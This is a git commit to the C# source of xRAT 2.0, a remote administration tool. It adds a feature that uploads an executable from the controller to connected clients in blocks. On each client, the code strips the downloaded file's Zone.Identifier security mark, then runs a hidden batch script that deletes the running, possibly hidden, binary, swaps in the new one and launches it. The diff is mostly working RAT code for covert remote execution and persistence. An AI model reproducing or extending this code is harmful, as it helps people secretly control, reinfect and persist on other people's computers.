Added #121 (Update from File)

closes #121
This commit is contained in:
MaxXor 2015-05-26 15:55:52 +02:00
parent 2e146620dd
commit c9facfc295
9 changed files with 344 additions and 80 deletions

View File

@ -1,9 +1,9 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
using xClient.Config;
using xClient.Core.Helper;
namespace xClient.Core.Commands
{
@ -21,10 +21,44 @@ namespace xClient.Core.Commands
public static void HandleUpdate(Packets.ServerPackets.Update command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
new Packets.ClientPackets.Status("Downloading file...").Execute(client);
if (string.IsNullOrEmpty(command.DownloadURL))
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
try
{
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
new Packets.ClientPackets.Status("Updating...").Execute(client);
SystemCore.Update(client, filePath);
}
}
catch (Exception ex)
{
DeleteFile(filePath);
new Packets.ClientPackets.Status(string.Format("Update failed: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new Packets.ClientPackets.Status("Downloading file...").Execute(client);
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Helper.Helper.GetRandomFilename(12, ".exe"));
@ -42,56 +76,9 @@ namespace xClient.Core.Commands
return;
}
new Packets.ClientPackets.Status("Downloaded File!").Execute(client);
new Packets.ClientPackets.Status("Updating...").Execute(client);
try
{
DeleteFile(tempFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(tempFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
throw new Exception("no pe file");
string filename = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Helper.Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE)
? "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
: "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = true;
startInfo.FileName = filename;
Process.Start(startInfo);
SystemCore.Disconnect = true;
client.Disconnect();
}
catch
{
DeleteFile(tempFile);
new Packets.ClientPackets.Status("Update failed!").Execute(client);
return;
}
SystemCore.Update(client, tempFile);
}).Start();
}
}

View File

@ -6,15 +6,35 @@ namespace xClient.Core.Packets.ServerPackets
public class Update : IPacket
{
[ProtoMember(1)]
public int ID { get; set; }
[ProtoMember(2)]
public string DownloadURL { get; set; }
[ProtoMember(3)]
public string FileName { get; set; }
[ProtoMember(4)]
public byte[] Block { get; set; }
[ProtoMember(5)]
public int MaxBlocks { get; set; }
[ProtoMember(6)]
public int CurrentBlock { get; set; }
public Update()
{
}
public Update(string downloadurl)
public Update(int id, string downloadurl, string filename, byte[] block, int maxblocks, int currentblock)
{
this.ID = id;
this.DownloadURL = downloadurl;
this.FileName = filename;
this.Block = block;
this.MaxBlocks = maxblocks;
this.CurrentBlock = currentblock;
}
public void Execute(Client client)

View File

@ -17,6 +17,10 @@ namespace xClient.Core
{
public static class SystemCore
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteFile(string name);
[DllImport("user32.dll")]
private static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
@ -517,5 +521,56 @@ namespace xClient.Core
Disconnect = true;
}
public static void Update(Client c, string newFile)
{
try
{
DeleteFile(newFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(newFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
throw new Exception("no pe file");
string filename = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Helper.Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE)
? "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del /A:H " + "\"" + MyPath + "\"" + "\n" +
"move " + "\"" + newFile + "\"" + " " + "\"" + MyPath + "\"" + "\n" +
"start \"\" " + "\"" + MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
: "@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del " + "\"" + MyPath + "\"" + "\n" +
"move " + "\"" + newFile + "\"" + " " + "\"" + MyPath + "\"" + "\n" +
"start \"\" " + "\"" + MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true,
FileName = filename
};
Process.Start(startInfo);
Disconnect = true;
c.Disconnect();
}
catch (Exception ex)
{
DeleteFile(newFile);
new Packets.ClientPackets.Status(string.Format("Update failed: {0}", ex.Message)).Execute(c);
}
}
}
}

View File

@ -2,6 +2,8 @@
{
public class Update
{
public static bool UseDownload { get; set; }
public static string UploadPath { get; set; }
public static string DownloadURL { get; set; }
}

View File

@ -6,15 +6,35 @@ namespace xServer.Core.Packets.ServerPackets
public class Update : IPacket
{
[ProtoMember(1)]
public int ID { get; set; }
[ProtoMember(2)]
public string DownloadURL { get; set; }
[ProtoMember(3)]
public string FileName { get; set; }
[ProtoMember(4)]
public byte[] Block { get; set; }
[ProtoMember(5)]
public int MaxBlocks { get; set; }
[ProtoMember(6)]
public int CurrentBlock { get; set; }
public Update()
{
}
public Update(string downloadurl)
public Update(int id, string downloadurl, string filename, byte[] block, int maxblocks, int currentblock)
{
this.ID = id;
this.DownloadURL = downloadurl;
this.FileName = filename;
this.Block = block;
this.MaxBlocks = maxblocks;
this.CurrentBlock = currentblock;
}
public void Execute(Client client)

View File

@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading;
using System.Windows.Forms;
using xServer.Core;
@ -336,10 +337,60 @@ namespace xServer.Forms
{
if (frm.ShowDialog() == DialogResult.OK)
{
foreach (ListViewItem lvi in lstClients.SelectedItems)
if (Core.Misc.Update.UseDownload)
{
Client c = (Client) lvi.Tag;
new Core.Packets.ServerPackets.Update(Core.Misc.Update.DownloadURL).Execute(c);
foreach (ListViewItem lvi in lstClients.SelectedItems)
{
Client c = (Client)lvi.Tag;
new Core.Packets.ServerPackets.Update(0, Core.Misc.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c);
}
}
else
{
new Thread(() =>
{
List<Client> clients = new List<Client>();
this.lstClients.Invoke((MethodInvoker) delegate
{
clients.AddRange(from ListViewItem item in lstClients.SelectedItems select (Client)item.Tag);
});
bool error = false;
foreach (Client c in clients)
{
if (c == null) continue;
if (error) continue;
FileSplit srcFile = new FileSplit(Core.Misc.Update.UploadPath);
var fileName = Helper.GetRandomFilename(8, ".exe");
if (srcFile.MaxBlocks < 0)
{
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
"Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
error = true;
break;
}
int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;)
CommandHandler.HandleStatus(c,
new Core.Packets.ClientPackets.Status("Uploading file..."));
for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
{
byte[] block;
if (!srcFile.ReadBlock(currentBlock, out block))
{
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
"Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
error = true;
break;
}
new Core.Packets.ServerPackets.Update(ID, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c);
}
}
}).Start();
}
}
}
@ -557,21 +608,21 @@ namespace xServer.Forms
this.lstClients.Invoke((MethodInvoker)delegate
{
foreach (ListViewItem item in lstClients.SelectedItems)
{
clients.Add((Client)item.Tag);
}
clients.AddRange(from ListViewItem item in lstClients.SelectedItems select (Client)item.Tag);
});
bool error = false;
foreach (Client c in clients)
{
if (c == null) continue;
if (error) continue;
FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath);
if (srcFile.MaxBlocks < 0)
{
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
"Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
error = true;
break;
}
@ -587,6 +638,7 @@ namespace xServer.Forms
{
MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
"Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
error = true;
break;
}
new Core.Packets.ServerPackets.UploadAndExecute(ID,

View File

@ -33,62 +33,151 @@
this.txtURL = new System.Windows.Forms.TextBox();
this.lblURL = new System.Windows.Forms.Label();
this.lblInformation = new System.Windows.Forms.Label();
this.groupLocalFile = new System.Windows.Forms.GroupBox();
this.btnBrowse = new System.Windows.Forms.Button();
this.txtPath = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.groupURL = new System.Windows.Forms.GroupBox();
this.radioLocalFile = new System.Windows.Forms.RadioButton();
this.radioURL = new System.Windows.Forms.RadioButton();
this.groupLocalFile.SuspendLayout();
this.groupURL.SuspendLayout();
this.SuspendLayout();
//
// btnUpdate
//
this.btnUpdate.Location = new System.Drawing.Point(246, 37);
this.btnUpdate.Location = new System.Drawing.Point(353, 240);
this.btnUpdate.Name = "btnUpdate";
this.btnUpdate.Size = new System.Drawing.Size(138, 23);
this.btnUpdate.TabIndex = 0;
this.btnUpdate.Text = "Update Clients";
this.btnUpdate.TabIndex = 5;
this.btnUpdate.Text = "Update Client";
this.btnUpdate.UseVisualStyleBackColor = true;
this.btnUpdate.Click += new System.EventHandler(this.btnUpdate_Click);
//
// txtURL
//
this.txtURL.Location = new System.Drawing.Point(48, 6);
this.txtURL.Location = new System.Drawing.Point(56, 25);
this.txtURL.Name = "txtURL";
this.txtURL.Size = new System.Drawing.Size(336, 22);
this.txtURL.Size = new System.Drawing.Size(320, 22);
this.txtURL.TabIndex = 1;
//
// lblURL
//
this.lblURL.AutoSize = true;
this.lblURL.Location = new System.Drawing.Point(12, 9);
this.lblURL.Location = new System.Drawing.Point(20, 28);
this.lblURL.Name = "lblURL";
this.lblURL.Size = new System.Drawing.Size(30, 13);
this.lblURL.TabIndex = 2;
this.lblURL.TabIndex = 0;
this.lblURL.Text = "URL:";
//
// lblInformation
//
this.lblInformation.AutoSize = true;
this.lblInformation.Location = new System.Drawing.Point(12, 37);
this.lblInformation.Location = new System.Drawing.Point(12, 231);
this.lblInformation.Name = "lblInformation";
this.lblInformation.Size = new System.Drawing.Size(221, 26);
this.lblInformation.TabIndex = 3;
this.lblInformation.Text = "Please be sure to use the same settings in\r\nyour new client. Check your URL!!!";
this.lblInformation.Size = new System.Drawing.Size(306, 26);
this.lblInformation.TabIndex = 4;
this.lblInformation.Text = "Please be sure to use the same settings in your new client.\r\nMake sure the file e" +
"xists.";
//
// frmUpdate
// groupLocalFile
//
this.groupLocalFile.Controls.Add(this.btnBrowse);
this.groupLocalFile.Controls.Add(this.txtPath);
this.groupLocalFile.Controls.Add(this.label1);
this.groupLocalFile.Location = new System.Drawing.Point(12, 35);
this.groupLocalFile.Name = "groupLocalFile";
this.groupLocalFile.Size = new System.Drawing.Size(479, 75);
this.groupLocalFile.TabIndex = 1;
this.groupLocalFile.TabStop = false;
//
// btnBrowse
//
this.btnBrowse.Location = new System.Drawing.Point(382, 23);
this.btnBrowse.Name = "btnBrowse";
this.btnBrowse.Size = new System.Drawing.Size(75, 23);
this.btnBrowse.TabIndex = 2;
this.btnBrowse.Text = "Browse...";
this.btnBrowse.UseVisualStyleBackColor = true;
this.btnBrowse.Click += new System.EventHandler(this.btnBrowse_Click);
//
// txtPath
//
this.txtPath.Location = new System.Drawing.Point(59, 24);
this.txtPath.Name = "txtPath";
this.txtPath.ReadOnly = true;
this.txtPath.Size = new System.Drawing.Size(317, 22);
this.txtPath.TabIndex = 1;
//
// label1
//
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(20, 27);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(33, 13);
this.label1.TabIndex = 0;
this.label1.Text = "Path:";
//
// groupURL
//
this.groupURL.Controls.Add(this.txtURL);
this.groupURL.Controls.Add(this.lblURL);
this.groupURL.Enabled = false;
this.groupURL.Location = new System.Drawing.Point(12, 139);
this.groupURL.Name = "groupURL";
this.groupURL.Size = new System.Drawing.Size(479, 75);
this.groupURL.TabIndex = 3;
this.groupURL.TabStop = false;
//
// radioLocalFile
//
this.radioLocalFile.AutoSize = true;
this.radioLocalFile.Checked = true;
this.radioLocalFile.Location = new System.Drawing.Point(12, 12);
this.radioLocalFile.Name = "radioLocalFile";
this.radioLocalFile.Size = new System.Drawing.Size(140, 17);
this.radioLocalFile.TabIndex = 0;
this.radioLocalFile.TabStop = true;
this.radioLocalFile.Text = "Update from Local File";
this.radioLocalFile.UseVisualStyleBackColor = true;
this.radioLocalFile.CheckedChanged += new System.EventHandler(this.radioLocalFile_CheckedChanged);
//
// radioURL
//
this.radioURL.AutoSize = true;
this.radioURL.Location = new System.Drawing.Point(12, 116);
this.radioURL.Name = "radioURL";
this.radioURL.Size = new System.Drawing.Size(113, 17);
this.radioURL.TabIndex = 2;
this.radioURL.Text = "Update from URL";
this.radioURL.UseVisualStyleBackColor = true;
this.radioURL.CheckedChanged += new System.EventHandler(this.radioURL_CheckedChanged);
//
// FrmUpdate
//
this.AcceptButton = this.btnUpdate;
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(396, 72);
this.ClientSize = new System.Drawing.Size(503, 275);
this.Controls.Add(this.radioURL);
this.Controls.Add(this.radioLocalFile);
this.Controls.Add(this.lblInformation);
this.Controls.Add(this.lblURL);
this.Controls.Add(this.txtURL);
this.Controls.Add(this.groupURL);
this.Controls.Add(this.groupLocalFile);
this.Controls.Add(this.btnUpdate);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "frmUpdate";
this.Name = "FrmUpdate";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Update []";
this.Load += new System.EventHandler(this.FrmUpdate_Load);
this.groupLocalFile.ResumeLayout(false);
this.groupLocalFile.PerformLayout();
this.groupURL.ResumeLayout(false);
this.groupURL.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
@ -100,5 +189,12 @@
private System.Windows.Forms.TextBox txtURL;
private System.Windows.Forms.Label lblURL;
private System.Windows.Forms.Label lblInformation;
private System.Windows.Forms.GroupBox groupLocalFile;
private System.Windows.Forms.TextBox txtPath;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.GroupBox groupURL;
private System.Windows.Forms.RadioButton radioLocalFile;
private System.Windows.Forms.RadioButton radioURL;
private System.Windows.Forms.Button btnBrowse;
}
}

View File

@ -1,4 +1,5 @@
using System;
using System.IO;
using System.Windows.Forms;
namespace xServer.Forms
@ -16,15 +17,47 @@ namespace xServer.Forms
private void FrmUpdate_Load(object sender, EventArgs e)
{
this.Text = string.Format("xRAT 2.0 - Update [Selected: {0}]", _selectedClients);
if (Core.Misc.Update.UseDownload)
radioURL.Checked = true;
txtPath.Text = File.Exists(Core.Misc.Update.UploadPath) ? Core.Misc.Update.UploadPath : string.Empty;
txtURL.Text = Core.Misc.Update.DownloadURL;
btnUpdate.Text = "Update Client" + ((_selectedClients > 1) ? "s" : string.Empty);
}
private void btnUpdate_Click(object sender, EventArgs e)
{
Core.Misc.Update.UseDownload = radioURL.Checked;
Core.Misc.Update.UploadPath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty;
Core.Misc.Update.DownloadURL = txtURL.Text;
this.DialogResult = DialogResult.OK;
this.Close();
}
private void btnBrowse_Click(object sender, EventArgs e)
{
using (OpenFileDialog ofd = new OpenFileDialog())
{
ofd.Multiselect = false;
ofd.Filter = "Executable (*.exe)|*.exe";
if (ofd.ShowDialog() == DialogResult.OK)
{
txtPath.Text = Path.Combine(ofd.InitialDirectory, ofd.FileName);
}
}
}
private void radioLocalFile_CheckedChanged(object sender, EventArgs e)
{
groupLocalFile.Enabled = radioLocalFile.Checked;
groupURL.Enabled = !radioLocalFile.Checked;
}
private void radioURL_CheckedChanged(object sender, EventArgs e)
{
groupLocalFile.Enabled = !radioURL.Checked;
groupURL.Enabled = radioURL.Checked;
}
}
}

View File

@ -28,17 +28,16 @@ namespace xServer.Forms
ofd.Filter = "Executable (*.exe)|*.exe";
if (ofd.ShowDialog() == DialogResult.OK)
{
var filePath = Path.Combine(ofd.InitialDirectory, ofd.FileName);
txtPath.Text = filePath;
Core.Misc.UploadAndExecute.FilePath = File.Exists(filePath) ? filePath : "";
Core.Misc.UploadAndExecute.RunHidden = chkRunHidden.Checked;
txtPath.Text = ofd.FileName;
}
}
}
private void btnUploadAndExecute_Click(object sender, EventArgs e)
{
Core.Misc.UploadAndExecute.FilePath = File.Exists(txtPath.Text) ? txtPath.Text : string.Empty;
Core.Misc.UploadAndExecute.RunHidden = chkRunHidden.Checked;
this.DialogResult = DialogResult.OK;
this.Close();
}